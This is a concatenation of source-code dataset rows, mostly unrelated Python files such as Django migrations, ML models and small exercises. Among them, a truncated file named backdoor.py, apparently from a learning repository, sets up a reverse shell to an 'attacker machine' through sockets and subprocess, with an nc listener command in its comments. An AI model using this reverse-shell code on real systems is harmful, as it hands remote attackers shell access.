04e8f3ab6547419999cee7969b5d8df80d311730 | 81f9ba9d4ddf45d865f5bc23d4c61de13476d64d | /irm/rand.py | dfea41fae06b988f881d8d9ad08ced07c7941c61 | [] | no_license | ericmjonas/netmotifs | cad6e2baf12cb218e15e02e5e362ef0b609978c3 | 94e1df8895b6a4f2e45ab0e918b1eb3ed16fca99 | refs/heads/master | 2020-12-25T16:49:28.618393 | 2016-08-11T00:50:30 | 2016-08-11T00:50:30 | 10,423,525 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 5,774 | py | import numpy as np
import scipy
import scipy.misc
from nose.tools import *
#import pyximport; pyximport.install()
#import fastrand
def canonicalize_assignment_vector(x):
"""
Take in an assignment vector and redo the assignments such that
the assignment values are monotonic from 0 to GRPMAX
"""
u =... | [
"jonas@ericjonas.com"
] | jonas@ericjonas.com |
1622c61f3561205e500f996c1495c710ed2f07a5 | 2c19ad0d69a20b2ef82312cdba65fc538c85efe7 | /User/migrations/0006_auto_20190508_1602.py | 4bade3d38cca0e363c3355dd7401f748ed5a9505 | [] | no_license | wzc-ob/EvaluationOfTeaching | b55d1011ca0f36d3af5e32efae85fa251e90fd79 | 783cbd35708db2121566cb27826db3c6654f0871 | refs/heads/master | 2020-06-06T22:40:25.494991 | 2019-06-20T07:06:11 | 2019-06-20T07:06:11 | 192,867,926 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,090 | py | # Generated by Django 2.1.5 on 2019-05-08 08:02
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('User', '0005_auto_20190508_1514'),
]
operations = [
migrations.AddField(
model_name='teacher',
name='birthday',
... | [
"43775612+wzc-ob@users.noreply.github.com"
] | 43775612+wzc-ob@users.noreply.github.com |
04b2d5f6e25fe54559d1a0d6cc931d0a0e294d04 | 97504159dcdacaef31a81abc2ee326ed95fa8ee3 | /models/order_discount_model.py | 5f50a8797644f858a03f2ab10984300ff90f50d9 | [] | no_license | argeweb/plugin-order | 4200857afe3a45e7d96dd4f5b13c9fe7ecc992b4 | b95882c90e9fe8128834c63ca2ae1ea3b4b14ebe | refs/heads/master | 2020-02-26T15:06:46.883725 | 2018-03-30T01:28:05 | 2018-03-30T01:28:05 | 83,565,232 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 697 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created with YooLiang Technology (侑良科技).
# Author: Qi-Liang Wen (温啓良)
# Web: http://www.yooliang.com/
# Date: 2017/3/1.
import time
from argeweb import BasicModel
from argeweb import Fields
from order_model import OrderModel
class OrderDiscountModel(BasicModel):
o... | [
"cwen0708@gmail.com"
] | cwen0708@gmail.com |
e6114b117e16485b2ed7dabbdbb936f25a0133aa | 2e7bf2c172b59e7f6fb358bc73687b738e1dbed3 | /python/interpret/perf/regression.py | 612c6920121ba61286fed23152b0aba5a915a189 | [
"MIT"
] | permissive | rodrigovssp/interpret | 58ec3a01a3621421e0b60aee76df282d11dcf48b | dbd0e2dd616f963c14184ea6ec442bacd8d92400 | refs/heads/master | 2020-07-20T17:19:55.161052 | 2019-11-22T01:28:17 | 2019-11-22T01:28:17 | 206,683,287 | 1 | 0 | MIT | 2019-09-06T00:54:48 | 2019-09-06T00:54:48 | null | UTF-8 | Python | false | false | 2,998 | py | # Copyright (c) 2019 Microsoft Corporation
# Distributed under the MIT software license
from ..api.base import ExplainerMixin, ExplanationMixin
from ..utils import unify_data, gen_name_from_class, unify_predict_fn
from sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score
import numpy as np
class... | [
"interpretml@outlook.com"
] | interpretml@outlook.com |
90f6c43e4d795ce0d9d1b36dac534bc62b5b7896 | 06ff4c9b61578823f7fac8d52b67ea0dbaf69665 | /bic_index/__init__.py | cd87dd7dff0ad3ca7aef0f0416d57d911d7f2c9d | [
"MIT"
] | permissive | horta/bic-index | 671e4b2fd14f52ce0ac46b41db62bd257bf93d1a | 849a52812d6e8ed1c23ffa20e5199711ce809aa2 | refs/heads/master | 2020-06-01T11:31:15.376758 | 2019-06-09T13:54:05 | 2019-06-09T13:54:05 | 190,764,476 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 857 | py | """
Biclustering indices
Similarity measures for comparing biclustering solutions.
"""
from ._anne import anne_rnia
from ._ayadi import ayadi
from ._bozdag import bozdag_extra, bozdag_uncovered
from ._csi import csi
from ._ebc import ebc
from ._eren import eren_recovery, eren_relevance
from ._error import biclustering... | [
"danilo.horta@gmail.com"
] | danilo.horta@gmail.com |
a685bf18fd3fee1b3518a28a9032d2900d823215 | beb9ac9ed895b375fbea240bf7d56281d6a0a481 | /20200720/test6.py | 77549574c1392e64ab03417146f5243dce61a00d | [] | no_license | MinjeongSuh88/python_workspace | 5b0c7e2a7b3543e65df1f07066e4a52f23294ac5 | b13afdc8cf4e42496fa2b5c8df3c5effc7f7488d | refs/heads/master | 2022-11-30T11:05:52.347243 | 2020-08-14T09:04:42 | 2020-08-14T09:04:42 | 285,185,265 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 639 | py | # 사용자로부터 국어, 수학, 영어 점수를 입력받아 합계, 평균을 구하고 등급 매기기
kor,mat,eng=input("국어, 수학, 영어 점수를 입력하시오").split()
total=int(kor)+int(mat)+int(eng)
ave=total/3
print(total, ave)
if ave >= 90:
print('총점 :',total,', 평균 :',ave,', 당신의 학점은 A')
elif ave >= 80:
print('총점 :',total,', 평균 :',ave,', 당신의 학점은 B')
elif ave >= 70:
print('... | [
"69196506+MinjeongSuh88@users.noreply.github.com"
] | 69196506+MinjeongSuh88@users.noreply.github.com |
a93dd5b8d10a589e061e9b9519f5ca1f58befe2b | f3c33b6a9270d53d8cb657f3bb1912938edd6c39 | /js/nextdates.py | d6fcf479b41e02b430d8f336e95e214d388389eb | [] | no_license | ivanteoh/sypy.github.com | 5742685c2ab9a740623ae58851946bc278b16499 | 31487a991143eea26d37ec23e7915a6d86dbd834 | refs/heads/master | 2021-01-24T21:08:21.060830 | 2015-09-03T05:52:16 | 2015-09-03T05:52:16 | 39,477,784 | 0 | 0 | null | 2015-07-22T01:06:26 | 2015-07-22T01:06:25 | null | UTF-8 | Python | false | false | 685 | py | from datetime import datetime
import calendar
import math
now = datetime.now()
def next_date(week, day_of_week):
year, month = (now.year, now.month)
day = calendar.monthcalendar(now.year, now.month)[week][day_of_week]
if now.day > day:
year = int(2014 + math.floor(11/12))
month = now.month ... | [
"software@pretaweb.com"
] | software@pretaweb.com |
7fc29cf7195d9833782774d8fc92c5bddf59e5ae | 0b0ba6de1808c4214ccb1f39077c7f59d939b059 | /python/samples/hhAnalyzeSamples_2016_nanoAOD_sync.py | 03b0a86398c5cf82c9b412f064342c938225c0db | [] | no_license | HEP-KBFI/hh-bbww | b1e434994764d294459208e7515d4e8ad29b3ecd | 7e03769356d21bfe3597d2e0cba7ceeb2a73e62c | refs/heads/master | 2023-04-30T16:12:26.824547 | 2023-04-24T17:38:02 | 2023-04-24T17:38:02 | 149,094,236 | 2 | 4 | null | 2022-09-09T10:59:47 | 2018-09-17T08:37:12 | Python | UTF-8 | Python | false | false | 2,101 | py | from collections import OrderedDict as OD
# file generated at 2020-03-03 10:45:15 with the following command:
# create_dictionary.py -m python/samples/metaDict_2016_hh_sync.py -p /local/karl/sync_ntuples/2016/nanoAODproduction/2019Dec06 -N samples_2016 -E 2016 -o python/samples -g hhAnalyzeSamples_2016_nanoAOD_sync.py... | [
"karlehataht@gmail.com"
] | karlehataht@gmail.com |
f65ac26d969168699050a86ebdd004165c00bad7 | 017ca2cfff50c9bb4865cba3ae6e765b4df83190 | /tests/test_app.py | 7548042caac5fea22c56b64e581544f1ffb4d90b | [] | no_license | cjrh/venus | d011bebb3185107d6ac326a03a2b4fad258a4e42 | 961287ea4fcaa80bf67371df9b6588155ef625a8 | refs/heads/master | 2021-06-11T08:18:15.648241 | 2021-04-23T05:08:31 | 2021-04-23T05:08:31 | 178,842,174 | 0 | 0 | null | 2021-04-23T05:08:33 | 2019-04-01T10:43:46 | Python | UTF-8 | Python | false | false | 2,926 | py | import asyncio
import os
import signal
import subprocess as sp
import sys
import time
from pprint import pprint
from uuid import uuid4
import biodome
import portpicker
import pytest
from asyncpg import Connection
def cross_platform_process_terminator(proc: sp.Popen):
if sys.platform == 'win32':
proc.send... | [
"caleb.hattingh@gmail.com"
] | caleb.hattingh@gmail.com |
2bdafa18c0708627394a434ab0414269d1abe63d | 6045075c734d65a3cec63d3ae15f8f9f13836559 | /solutions/0397_Integer_Replacement/math.py | 32709a4dc2322dd0c95365874f0fdffd2ecbb39f | [] | no_license | zh-wang/leetcode | c058470fdf84fb950e3d4f974b27826718942d05 | 6322be072e0f75e2da28b209c1dbb31593e5849f | refs/heads/master | 2021-12-28T02:49:11.964213 | 2021-08-25T06:29:21 | 2021-08-25T06:29:21 | 189,919,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | class Solution:
def integerReplacement(self, n: int) -> int:
cnt = 0
while n > 1:
if n % 2 == 0: # half n when n is even
n >>= 1
# every odd integer mod 4 is either 1 or 3
elif n == 3 or n % 4 == 1:
n -= 1
else:
... | [
"viennakanon@gmail.com"
] | viennakanon@gmail.com |
0ad82150a6438039d05ec42973e02c3791d07064 | 3a48e3469239ce17b4f01b98b85e052faf137ab0 | /unittestdemo/test_testloader.discover.py | 1086acda8b46cc3522d0fdd845a26cb5cd4708b6 | [] | no_license | langdawang678/Py | 3b6887bb7840ec73ee750e69f5c0f2988730746d | 7f0863a245fc51a1dd07d2c8954eac67b55daac2 | refs/heads/master | 2021-07-17T22:03:01.177913 | 2021-07-14T14:01:16 | 2021-07-14T14:01:16 | 174,823,049 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 716 | py | """
演示unittest.TestLoader().discover()方法
测试用例执行步骤
1、初始化加载器,testloader=unittest.TestLoader()
2、查找测试用例,suite=testloader.discover(文件夹,默认test开头) # 也可'test*.py'
还有其他加载的方式:
3、打开一个文件,用于存放text报告
4、初始化运行器,runner = unittest.TextTestRunner(文件)
5、运行运行器, runner.run(suite)
"""
import unittest
testLoader = unittest.TestLoader()
su... | [
"langdawang678@sina.com"
] | langdawang678@sina.com |
e7c8acf1628cb0f95a00e249c40a5288e89d5d03 | f75f841a1e0e6e7915a68bebbed7233aa5d22625 | /socket/backdoor.py | b84991ed8a2899792ba542f4637c60bd9e3500f5 | [
"MIT"
] | permissive | Akagi201/learning-python | 4c1aa72116cdfea527fdf2afd038158e5ba7f97b | 28169d1bf0488e8be1456b40dd39d7830a65280e | refs/heads/master | 2022-12-08T01:25:57.842615 | 2022-03-14T08:02:20 | 2022-03-14T08:02:20 | 32,675,802 | 89 | 126 | MIT | 2022-11-24T18:20:28 | 2015-03-22T13:04:01 | Python | UTF-8 | Python | false | false | 501 | py | # coding=utf-8
# run:
# nc -l 8888
# python 127.0.0.1 8888
import socket, subprocess, os, sys
if len(sys.argv) < 3:
print("Usage: python xxx.py ip port")
exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
# IP: sys.argv[1], the remote host
# PORT: sys.argv[2], the sa... | [
"akagi201@gmail.com"
] | akagi201@gmail.com |
7cca2c1fd1067e7eb7245c0c4e8ebbd3b6f46751 | 6550cc368f029b3955261085eebbddcfee0547e1 | /第6部分-Django(哪吒,肖锋)/django-4-权限管理-肖锋/day82/day82/luffy_permission-权限信息展示/luffy_permission/rbac/urls.py | 63ffc11c1ccba1db26adec3b227b2286bd13f0ca | [] | no_license | vividyellow/oldboyeduPython14qi | d00c8f45326e16464c3d4e8df200d93779f68bd3 | de1e9f6efafa2846c068b3fe5ad6e1ca19f74a11 | refs/heads/master | 2022-09-17T21:03:17.898472 | 2020-01-31T10:55:01 | 2020-01-31T10:55:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 544 | py | from django.conf.urls import url
from rbac import views
urlpatterns = [
# /app01/role/list/ # rbac:role_list
url(r'^role/list/$', views.role_list, name='role_list'),
url(r'^role/add/$', views.role, name='role_add'),
url(r'^role/edit/(\d+)$', views.role, name='role_edit'),
url(r'^role/del/(\d+)$'... | [
"524991368@qq.com"
] | 524991368@qq.com |
76670d6cc29244caf6a20fec00e61bbb9d6304d1 | ca68d2f60d6c05c7b51e8a1dd68e3db05a7fda39 | /pycon.jp/pyconjp-csv-dump.py | bacab7ba77de0d0f4d4be230e5a230839e0e3c3a | [] | no_license | sin-tanaka/happy-scraping | 352c10f3d6c3ff1e3074a886dd7ca0fbf9ad6064 | 84ca05ea3e5a6233897d0c77d28c861ea4c0223e | refs/heads/master | 2020-05-23T22:22:33.255888 | 2015-12-05T11:15:21 | 2015-12-05T11:15:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 376 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
import csv
import bs4
import requests
url = 'https://pycon.jp/2015/ja/schedule/tutorials/list/'
res = requests.get(url)
soup = bs4.BeautifulSoup(res.text)
titles = [(elm.text, elm.get('href')) for elm in soup.select('.presentation h3 a')]
fp = open('test.csv', 'w+t')
writ... | [
"takesxi.sximada@gmail.com"
] | takesxi.sximada@gmail.com |
5fe6b8d92c33a20c1ac4b997a704f1e36ae1c3a4 | b6d48defc1d5359ee351403b0906b6beb6cb64a7 | /Yet-Another-EfficientDet-Pytorch/efficientdet_test.py | 278bd08eed0241c05001b29254cbdc30c22e82a3 | [
"LGPL-3.0-only",
"Apache-2.0"
] | permissive | CrazyVertigo/SimpleCVReproduction | 2c6d2d23b0e234d976eefbdb56d6460798559b0d | 9699f600e6cde89ad0002ca552f8b6119e96990c | refs/heads/master | 2022-09-24T16:29:33.263625 | 2020-06-03T14:53:18 | 2020-06-03T14:53:18 | 269,344,314 | 1 | 0 | Apache-2.0 | 2020-06-04T11:43:10 | 2020-06-04T11:43:09 | null | UTF-8 | Python | false | false | 4,161 | py | # Author: Zylo117
"""
Simple Inference Script of EfficientDet-Pytorch
"""
import time
import torch
from backbone import EfficientDetBackbone
import cv2
import numpy as np
from efficientdet.utils import BBoxTransform, ClipBoxes
from utils.utils import preprocess, invert_affine, postprocess
compound_coef = 0
force_i... | [
"1115957667@qq.com"
] | 1115957667@qq.com |
4c1558020a925591526dba739b3b46af07ba9307 | 65b4522c04c2be071c2d42095956fe950fe1cebe | /inversions/static_inversion/static_inversion2/occam_for_rake_no_seafloor/run1/slip0/plot_slip.py | 89a534bddf2e16da7f37a1ce25c633ddde142466 | [] | no_license | geodesy/viscojapan | ac0cd93f7a2134cd2651623b94879dcc21c0c46a | 03e70265b56eb5994e73bcb6066f0be338e42f27 | refs/heads/master | 2021-03-03T18:19:07.779601 | 2015-07-16T03:50:49 | 2015-07-16T03:50:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 197 | py | import viscojapan as vj
mplt = vj.plots.MapPlotFault('../../../fault_model/fault_bott60km.h5')
mplt.plot_slip_file('slip0.h5',0)
vj.plots.plt.savefig('initial_slip_input.png')
vj.plots.plt.show()
| [
"zy31415@gmail.com"
] | zy31415@gmail.com |
6246c7a30ce3f69a4b0a6b6d1afd3b28493dd43f | b3f6daa5d6c987eb8a61d5fe125bf2a98997e259 | /8kyu/Multiplication table for number/index.py | 1f321270b077646deb2dd5ef0a6e0be9bc926544 | [] | no_license | krnets/codewars-practice | 53a0a6c9d2d8c2b94d6799a12f48dd588179a5ce | 5f8e1cc1aebd900b9e5a276884419fc3e1ddef24 | refs/heads/master | 2022-12-20T19:33:43.337581 | 2022-12-16T05:32:39 | 2022-12-16T05:32:39 | 217,464,785 | 1 | 0 | null | 2020-07-20T08:36:31 | 2019-10-25T06:20:41 | JavaScript | UTF-8 | Python | false | false | 934 | py | # 8kyu - Multiplication table for number
""" Your goal is to return multiplication table for number that is always an integer from 1 to 10.
For example, a multiplication table (string) for number == 5 looks like below:
1 * 5 = 5
2 * 5 = 10
3 * 5 = 15
4 * 5 = 20
5 * 5 = 25
6 * 5 = 30
7 * 5 = 35
8 * 5 = 40
9 * 5 = 45
... | [
"cmantheo@gmail.com"
] | cmantheo@gmail.com |
3afd7c0568a43bde56e0611f65fcbdc799c94449 | 35ff4e124ea73cd2630ddf25dfe019b4b4e3f5d6 | /994_RottingOranges/994_RottingOranges.py | 777017151f0b833177bea0e63b0c234941faf4e8 | [] | no_license | H-Cong/LeetCode | 0a2084a4845b5d7fac67c89bd72a2adf49f90c3d | d00993a88c6b34fcd79d0a6580fde5c523a2741d | refs/heads/master | 2023-03-19T15:22:00.971461 | 2021-03-11T00:33:00 | 2021-03-11T00:33:00 | 303,265,129 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,244 | py | class Solution:
def orangesRotting(self, grid: List[List[int]]) -> int:
'''
BFS
'''
if not grid or not grid[0]: return -1
queue = collections.deque()
fresh_orange = 0
row, col = len(grid), len(grid[0])
for r in range(row):
... | [
"nych1989@gmail.com"
] | nych1989@gmail.com |
37654083f325ba530ff035d80eda3ac7a47eea19 | bad62c2b0dfad33197db55b44efeec0bab405634 | /sdk/communication/azure-mgmt-communication/azure/mgmt/communication/aio/_communication_service_management_client.py | c3e466542f9cfccfbf535c2dbf61537086ee6f3a | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | test-repo-billy/azure-sdk-for-python | 20c5a2486456e02456de17515704cb064ff19833 | cece86a8548cb5f575e5419864d631673be0a244 | refs/heads/master | 2022-10-25T02:28:39.022559 | 2022-10-18T06:05:46 | 2022-10-18T06:05:46 | 182,325,031 | 0 | 0 | MIT | 2019-07-25T22:28:52 | 2019-04-19T20:59:15 | Python | UTF-8 | Python | false | false | 5,024 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | test-repo-billy.noreply@github.com |
3365d477bc72257548753a3d59e5bf3acff947b8 | 17079988dedef6f830633a7a54b181355231fe3e | /pattern.py | 42a4935c831b024ce611f8d9fc3393de41d08823 | [] | no_license | sum008/python-backup | cdf6eaff60d882c36fe86b47ad311955d5869b02 | 729fbe2a5220941f9ba085c693c871592a529da8 | refs/heads/master | 2022-12-12T21:21:48.259680 | 2020-09-12T15:36:05 | 2020-09-12T15:36:05 | 285,461,845 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,070 | py | def draw(n):
count=0
max1=0
temp=0
for i in range(1,2*n):
for j in range(2*n-1,0,-1):
if i<=2*n//2:
if count<=max1:
print(str(n-count),end=" ")
temp=count
count+=1
eli... | [
"noreply@github.com"
] | sum008.noreply@github.com |
625054a1aec470b6b43bdf069cfd9cd5e5c346ed | 42260c6cb630820076e771563b589435af6dc247 | /django_by_example/urls.py | d911d81b254bfcddf0f5d0f4dc3af5f4d960cc2d | [] | no_license | pbpoon/dbe | a903aed27a44dc7943976fffd79a1f33d9edf341 | bd50976ab3141ef75a3d5324d8b1e0258281f149 | refs/heads/master | 2021-01-23T01:12:39.242625 | 2017-05-31T13:32:16 | 2017-05-31T13:32:16 | 92,856,979 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,092 | py | """django_by_example URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home'... | [
"pbpoon@live.com"
] | pbpoon@live.com |
50622297f1a784aa10e0f4e3a806c9881f47e51e | 792cf43c94131428331f2ed8a868144e54948975 | /최종 소스코드(완성본)/html/djangoTest/oiserver/migrations/0010_multiplayroom_roomjson.py | 5d92840acf2be24ea01a9c32459b862598404d22 | [
"MIT"
] | permissive | BaeKeunBin/OIWebProject | c77e74ab4a3cdaea3d220940f7e33ad2b54dea01 | 60467fdec8169dd8a7ac3bf8256d3c06635ba8c5 | refs/heads/master | 2020-04-14T01:41:33.424968 | 2019-02-06T07:54:47 | 2019-02-06T07:54:47 | 115,590,590 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-03-20 12:06
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('oiserver', '0009_multiplayroom'),
]
operations = [
migrations.AddField(
... | [
"lih0420@naver.com"
] | lih0420@naver.com |
061bea63baa0453a60bd7572e9139a98261d8556 | e8f99a162207cba82d4e0f969d7bcdb2b9d8b522 | /dev_demo/struct_demo/struct_demo.py | b9adbaf56356e3ebbebdaefe99d8d4121a77165c | [] | no_license | TesterCC/Python3Scripts | edb5446278ebf13edb64336001081941ca27d67d | 58be67e1ffc74ef50289a885aa4ad05f58e2c383 | refs/heads/master | 2023-08-30T21:16:38.328045 | 2023-08-17T11:23:08 | 2023-08-17T11:23:08 | 93,401,996 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 347 | py | import struct
# 网络字节序,大端序,数据封装测试
# 方法1:个人认为这个更优
file_header = 0xF3EC2B12
packed_data = struct.pack(">I", file_header)
print(len(packed_data), packed_data)
# 方法2:
hex_str = "F3EC2B12"
bytes_data = bytes.fromhex(hex_str)
print(len(bytes_data), bytes_data)
# output
# 4 b'\xf3\xec+\x12' | [
"testerlyx@foxmail.com"
] | testerlyx@foxmail.com |
9ea419e362a04349cd7136800c00330c6e3e4e10 | 1b08865f72e231a844ca5d3b166d12bdd2a3787a | /bin/getting_started_osg.py | a153fb7cb87a2274076567a25ddfe780036c27de | [] | no_license | radical-experiments/osg_testing | 71536cdfadc7e9eade9b42b25dfc6894462e91a4 | 2b534e3e7420548324fc8f600d1c1c722b8e0b38 | refs/heads/master | 2021-01-17T18:45:35.006374 | 2016-06-19T20:43:18 | 2016-06-19T20:43:18 | 60,442,165 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,215 | py | #!/usr/bin/env python
__copyright__ = "Copyright 2013-2015, http://radical.rutgers.edu"
__license__ = "MIT"
import os
import sys
import radical.pilot as rp
import radical.utils as ru
import time
dh = ru.DebugHelper ()
print rp
RUNTIME = 1800
SLEEP = 10
PILOTS = 1
UNITS = 1
SCHED = rp.SCHED... | [
"ming.tai.ha@gmail.com"
] | ming.tai.ha@gmail.com |
9fbf31d149d9fda8df596871ddc7835f704c8451 | c0587882287eee1ca08e0cd30f6ece568da3de91 | /SS-3_files/erfnetv2.py | 6c2bb2efbd03cbd8b82f14b45ba12b1add665658 | [] | no_license | Ashutosh1995/Semseg-Notebooks | 7efe42cf44b647a38eecb4acedaf27c16c0986f7 | c60862da1790954373e57a1ac725d7279df14e59 | refs/heads/master | 2021-01-04T03:35:31.920484 | 2020-06-03T07:20:11 | 2020-06-03T07:20:11 | 240,360,922 | 13 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,889 | py | # ERFNet full model definition for Pytorch
# Sept 2017
# Eduardo Romera
#######################
import torch
import torch.nn as nn
import torch.nn.init as init
import torch.nn.functional as F
class DownsamplerBlock (nn.Module):
def __init__(self, ninput, noutput):
super().__init__()
self.conv = n... | [
"you@example.com"
] | you@example.com |
824cb12edd917c05a044def25f6e971733c2eaac | 6af893ad82d23724700ac3fd80492396d84c9526 | /queencity20/eda/eda_incorporated_towards_end0.py | 85f292760c85cf19760361246c59b91476e473f1 | [] | no_license | abhijeetdtu/queencity20 | aefc9a2847b753ca25e2205faa651c822cd26e54 | 64c2c57ccc45b9ac29a6aadeeaa1e317f1460b0e | refs/heads/master | 2021-01-09T04:45:40.936932 | 2020-02-23T00:37:22 | 2020-02-23T00:37:22 | 242,249,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,421 | py | %load_ext autoreload
%autoreload 2
import pandas as pd
import numpy as np
from queencity20.utils.getData import *
from queencity20.utils.remove_correlated import *
from collections import defaultdict
df = getTrainingData()
df.head()
from sklearn.impute import SimpleImputer
#means = df.mean(skipna=True)
si = SimpleI... | [
"abhijeetdtu@gmail.com"
] | abhijeetdtu@gmail.com |
53399e598f3629727a5eda9661611aa9aeb09657 | f50f1aa1f8f139d546db3230a1cb1f53043fd9e6 | /system/base/skey/actions.py | 99e49fdc24508dbe9fe952a82367a3430bfa98c8 | [] | no_license | pars-linux/corporate2 | 7887961d1552d39bc3b0bef4a60fd3413d9b82bb | 14d1eacfc824fb8d0bff8173e7ac06b36b88d10d | refs/heads/master | 2020-05-26T15:02:12.005654 | 2017-02-27T03:07:14 | 2017-02-27T03:07:14 | 82,476,084 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,459 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2010 TUBITAK/UEKAE
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/copyleft/gpl.txt.
#
# Note that we fiddle with permissions of everything to make sure not to make a security hole
#
from pisi.actionsapi import autoto... | [
"zaburt@users.noreply.github.com"
] | zaburt@users.noreply.github.com |
6490fcc8e5763a6c0a7bb69a9a97d2da67c7c562 | 6f1034b17b49f373a41ecf3a5a8923fb4948992b | /pychron/git/tasks/githost_preferences.py | 9383d7e63d44223c0e21981f9c7290783093f3e2 | [
"Apache-2.0"
] | permissive | NMGRL/pychron | a6ec1854488e74eb5d3ff53eee8537ecf98a6e2f | 8cfc8085393ace2aee6b98d36bfd6fba0bcb41c6 | refs/heads/main | 2023-08-30T07:00:34.121528 | 2023-06-12T17:43:25 | 2023-06-12T17:43:25 | 14,438,041 | 38 | 28 | Apache-2.0 | 2023-08-09T22:47:17 | 2013-11-15T23:46:10 | Python | UTF-8 | Python | false | false | 4,486 | py | # ===============================================================================
# Copyright 2016 Jake Ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses... | [
"jirhiker@gmail.com"
] | jirhiker@gmail.com |
d44084bd0082b1994125b02a466cdac8bbb39e1c | e10a6d844a286db26ef56469e31dc8488a8c6f0e | /graph_embedding/slaq/slaq.py | c5b398335c01701b00c343f9a6e09a7eb1c38303 | [
"Apache-2.0",
"CC-BY-4.0"
] | permissive | Jimmy-INL/google-research | 54ad5551f97977f01297abddbfc8a99a7900b791 | 5573d9c5822f4e866b6692769963ae819cb3f10d | refs/heads/master | 2023-04-07T19:43:54.483068 | 2023-03-24T16:27:28 | 2023-03-24T16:32:17 | 282,682,170 | 1 | 0 | Apache-2.0 | 2020-07-26T15:50:32 | 2020-07-26T15:50:31 | null | UTF-8 | Python | false | false | 4,522 | py | # coding=utf-8
# Copyright 2022 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | [
"copybara-worker@google.com"
] | copybara-worker@google.com |
3fc64ef0e80d80509d96c399a394a6be9418809f | 53fa2c914dd1183c7ba8a2c5f564e0c0c1cbaedd | /Gym/web_athlete/migrations/0015_auto_20180804_1844.py | 920df02025b7d21d684f49208b13ebbc56544c88 | [
"MIT"
] | permissive | ahmadreza-smdi/GymManagement | 718c8dbeddc968097643a413b2ad7d882d0b864f | 03f4d6d7b8d8ebefc70c2e921b64888afc3e6b28 | refs/heads/master | 2021-06-19T14:56:41.021617 | 2019-11-24T20:58:56 | 2019-11-24T20:58:56 | 142,736,163 | 6 | 1 | MIT | 2021-06-10T20:43:43 | 2018-07-29T06:20:07 | Python | UTF-8 | Python | false | false | 1,347 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-08-04 18:44
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependenc... | [
"ahmadreza.smdi@gmail.com"
] | ahmadreza.smdi@gmail.com |
443e27562eaab35764faa3c919b8368e9c63009e | 064190a2de1ad156e1060f0efdee7e754a96b4bb | /9.7.py | 32b4343aa60f537c7519d6b2836ff21ac1c9f9cf | [] | no_license | zqy1/pythonCookbook | 7254fadf3fac277b107941bc32e4716de3f7c329 | 89a05a2a4d723fb49548e0e87d2542bd5d07fbee | refs/heads/master | 2020-08-03T17:27:09.351396 | 2015-09-18T13:05:14 | 2015-09-18T13:05:14 | 73,540,483 | 1 | 0 | null | 2016-11-12T08:14:50 | 2016-11-12T08:14:50 | null | UTF-8 | Python | false | false | 1,366 | py | # -*- coding: utf-8 -*-
"""
9.7.py
~~~~~~
利用装饰器对函数参数进行强制类型检查
"""
# 函数签名对象的应用
from inspect import signature
from functools import wraps, partial
def typeassert(*ty_args, **ty_kwargs):
def decorate(func):
if not __debug__:
"""如果不是调试模式,不进行参数检查"""
return func
... | [
"neo1218@yeah.net"
] | neo1218@yeah.net |
5fcfd400e2e36486c52783aa82476ba6e3b3c8ae | 107fdd20682510440fc002c5b26ce6d51227d23d | /p49_misc/p49b_wave_evol.py | a30801b43baef3bcc3028dfa78aad20ca2dccb16 | [] | no_license | dcollins4096/ytscripts | bddb1a82b30d533e5789a16109dca9226713c76d | 52d8337dbbcba5d004663ec2cd1d2a15503c952d | refs/heads/master | 2022-07-29T07:44:18.847626 | 2022-07-18T13:17:11 | 2022-07-18T13:17:11 | 185,677,619 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,258 | py |
if 'ef' not in dir():
execfile('go')
for i in range(3):
print("====================")
import enzo_write
reload(enzo_write)
import p49_eigen
reload(p49_eigen)
import p49_plot_tools
reload(p49_plot_tools)
import matplotlib.colors as colors
def nz(field):
nz = np.abs(field) > 1e-13
return fie... | [
"none@none"
] | none@none |
